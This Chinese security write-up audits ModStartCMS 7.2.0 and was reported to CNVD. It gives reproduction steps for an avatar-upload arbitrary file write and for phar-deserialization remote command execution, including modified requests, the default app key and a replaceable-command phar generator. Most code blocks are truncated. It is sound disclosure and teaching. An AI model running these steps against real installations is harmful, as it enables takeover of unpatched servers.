ModStartCMS-7.2.0 代码审计
0x00 前言
ModStart 是一个基于 Laravel 的模块化快速开发框架。由西安炎燚信息科技有限公司开发,团队成立于2016年,是一家专业从事互联网应用服务、云计算、大数据、人工智能、企业信息化建设的技术型企业。
在今年9月份我将审计出的漏洞报送给CNVD、CNNVD平台后,他们家开放了ModStart安全应急响应中心 | ModStart,希望大家多多支持他们家的产品。
本篇文章通过代码审计发现ModStartCMS的RCE漏洞,描述了如何运用 phar 进行 php 反序列化漏洞利用的过程,并提供进一步了解 phar 的相关内容,帮助大家更好的审计出Phar反序列化漏洞。
0x01 声明
遵纪守法
公网上存在部署了旧版本的CMS,旧版本仍然存在这些问题。
请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。
请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。
一切未经授权的网络攻击均为违法行为,互联网非法外之地。
漏洞报送
该文章涉及的漏洞已提交到CNVD、CNNVD平台。
文章转载
商业转载请联系作者获得授权,非商业转载请注明出处。
作者公众号:响尾蛇社区
0x02 环境
系统版本:ModStartCMS-7.2.0
系统环境:Window11
PHP版本:7.0.9NTS
数据库版本:5.7.26
Web服组件务:Nginx1.15.11
源码下载地址:https://gitee.com/modstart/ModStartCMS
0x03 安装
PHPStudy安装ModStart | ModStart开发者文档
0x04 代码审计
【高危】前台任意文件上传漏洞
漏洞详情
在实现上传头像功能上,存在远程拉取图片的方法,使用了<font style="color:#080808;">CurlUtil::getRaw</font>
远程获取文件内容并通过<font style="color:#080808;">file_put_contents</font>
保存该文件到<font style="color:#080808;">temp</font>
目录下。攻击者可以构造恶意的URL,利用这个功能来上传恶意文件。
漏洞复现
新建一个命名为help.php
的文件,内容为:
<?=phpinfo();?> |
在文件目录下使用python -m http.server 19980
访问 http://localhost:38201/register 任意注册账号。
访问 http://localhost:38201/login 进行登录,登录成功后找到修改头像功能点。
http://localhost:38201/member_profile/avatar
任意上传一张图片并进行抓包修改。
原始数据包:
修改后:
数据包:
POST /member_profile/avatar HTTP/1.1 |
生成的文件名是md5值,摘取内容为:
yMZzWpFRGBGwrBVwDiNQF0U9xl7Baqa8:http://127.0.0.1:19980/help.PHP |
将内容md5编码后得到ce540a9b00ee6fefa1f0ead15f2895ba
访问 http://localhost:38201/temp/ce540a9b00ee6fefa1f0ead15f2895ba.php
漏洞审计
调用链:
Member/Web/Controller/MemberProfileController.php avatar 54行 |
从路由文件Member/Api/routes.php
中可以找到路由/member_profile/avatar
对应的MemberProfileController.php
中的avatar
函数。
跟进后来到Member/Api/Controller/MemberProfileController.php
的avatar
函数中进行处理。通过改变传入<font style="color:#080808;">type</font>
参数的值来进入到<font style="color:#080808;">savePathToLocalTemp</font>
函数中去。
<font style="color:#080808;">savePathToLocalTemp</font>
函数中通过<font style="color:#080808;">CurlUtil::getRaw</font>
请求了我们的链接并通过<font style="color:#080808;">file_put_contents</font>
保存文件到<font style="color:#080808;">$tempPath</font>
指定的目录。这种拼接方式是可以被预测的 ,<font style="color:#080808;">$appKey</font>
默认为<font style="color:#080808;">yMZzWpFRGBGwrBVwDiNQF0U9xl7Baqa8</font>
。
public_path('temp/' . md5($appKey . ':' . $path) . (starts_with($ext, '.') ? $ext : '.' . $ext)); |
漏洞修复请看文件恶意上传漏洞公告 | ModStart
【高危】前台远程命令执行(RCE)漏洞
漏洞详情
在实现上传头像功能时,不安全的使用了<font style="color:#080808;">file_exists</font>
函数,将未经校验的数据传递给了该函数。攻击者可以构造恶意的phar文件,使用phar协议触发反序列化,造成远程执行漏洞。
漏洞复现
步骤:
- 注册账号并登录
- 上传带有反序列化利用的phar文件
- 通过 file_exists 函数触发phar协议
- 注册账号并登录
访问 http://localhost:38201/register 任意注册账号。
访问 http://localhost:38201/login 进行登录
- 注册账号并登录
在任意文件夹下创建命名为index.html
文件,内容为:
<!DOCTYPE html> |
在文件目录下使用python -m http.server 19980
- 生成EXP phar文件
在Public文件夹下新建命名为exp.php文件,内容如下
<?php |
运行后得到laravel5_exp.phar
文件,重命名为laravel5_exp.jpg
。
如果要自定义命令,请将内容中的
calc.exe
全部替换成自定义命令。保持统一。
- 上传phar文件
在相同游览器访问http://localhost:19980/
页面,选择并上传laravel5_exp.jpg
文件。
上传后得到路径\/data\/file\/2023\/09\/22\/28396_a9tq_5362.jpg
- 触发phar协议造成反序列化
http://localhost:38201/member_profile/avatar
任意上传一张图片并进行抓包修改。
原始数据包:
修改type
为空,avatar
为phar协议,路径为上个步骤获取的路径。
修改后:
数据包:
POST /member_profile/avatar HTTP/1.1 |
请求后可以执行我们想要的命令。
漏洞审计
调用链:
Member/Web/Controller/MemberProfileController.php avatar 54行 |
从路由文件Member/Api/routes.php
中可以找到路由/member_profile/avatar
对应的MemberProfileController.php
中的avatar
函数。
跟进后来到Member/Api/Controller/MemberProfileController.php
的avatar
函数中进行处理。通过改变传入<font style="color:#080808;">type</font>
参数的值来进入到<font style="color:#080808;">savePathToLocalTemp</font>
函数中去。
传入的路径会先通过<font style="color:#080808;">file_exists</font>
函数进行判断,这个函数可以触发phar协议,执行反序列化,造成命令执行。
0x05 认识 Phar 元数据自动反序列化
Phar (PHp ARchive) 文件是一种使用单一文件格式(类似于 JAR 文件在 Java 生态系统中的工作方式)分发 PHP 应用程序和库的方法。从结构上讲,它们只是存档(带有可选的 gzip 压缩或基于 zip 的 tar 文件)。
安全研究员Sam Thomas分享了议题 It’s a PHP unserialization vulnerability Jim, but not as we know it
实际上在PHP 8.0之前,当使用Phar流包装器时,它会自动尝试反序列化Phar元数据。即在对Phar文件进行任何文件操作时会将文件中的meta-data
进行反序列化。
PHP8.0 后的变化
在php-src/ext/phar/phar.c
中我们可以找到meta-data
处理的函数phar_metadata_tracker_unserialize_or_copy
。在PHP 8.1中,流包装器函数不再尝试自动反序列化元数据。只有显式调用Phar::getMetadata
和PharFileInfo::getMetadata
方法时才会尝试反序列化Phar元数据。
观察代码,这里增加了options
,它的内容是在Phar文件定义的。
$phar = new Phar('path/to/phar.phar'); |
具体处理函数php_unserialize_with_options
可以在php-src/ext/standard/var.c
中找到。
首先检查allowed_classes
是否为数组、布尔值或未设置。如果是数组或布尔值,它会创建一个哈希表class_hash
来存储允许的类。然后,它遍历allowed_classes
数组,将类名添加到class_hash
中。
最终,class_hash
会被传递给php_var_unserialize_set_allowed_classes
函数,这将限制在反序列化时允许的类。这样,通过设置allowed_classes
选项,代码实现了对允许的类进行限制。
if (options != NULL) { |
从下面代码看,尽管我们不传递options
保持为NULL一样可以进入到<font style="color:rgb(15, 15, 15);">php_var_unserialize</font>
函数中去。这种代码属于向后兼容性。
在php-src/ext/phar/phar_object.c
我们可以了解到,Phar::getMetadata
C 扩展宏定义。
这里逻辑做了两部分工作:
1、获取 metadata tracker
tracker = &phar_obj->archive->metadata_tracker; |
通过phar_obj
对象获取 Phar 归档对象,然后获取与该归档对象关联的metadata tracker
。metadata_tracker
负责跟踪归档的元数据信息。
2、检查是否有数据并获取数据
if (phar_metadata_tracker_has_data(tracker, phar_obj->archive->is_persistent)) { |
检查metadata tracker
是否包含数据,如果是,则调用phar_metadata_tracker_unserialize_or_copy
函数,该函数用于将元数据反序列化或复制到return_value
中。is_persistent
参数表示是否是持久化的 Phar 归档。
在文件php-src/ext/phar/phar_object.stub.php
中可以找到对应接口定义
public function getMetadata(array $unserializeOptions = []): mixed {} |
以下列举出能触发 phar 反序列化的函数:
copy file_exists file_get_contents file_put_contents |
除了上述代码,还有其他函数需要我们去发现。
参考文章:
PHP 8.0:
phar://
stream wrapper no longerunserialize
s meta data automaticallyPHP: rfc:phar_stop_autoloading_metadata
0x06 总结
Phar 反序列化在非常多的地方可以实现攻击,它的灵活性让PHP感到头疼。因为他尽管在文件上传后缀限制的情况下,依旧可以实现反序列化攻击。这项技术在18年提出,可开发人员对其了解甚少,对它的过滤几乎没有,并且这几年来都提出绕过简单防御的可能性。虽然在CTF中Web题目已经不屑于出该类型的题目,但它依旧值得我们去了解以及学习。
ModStartCMS-7.2.0 代码审计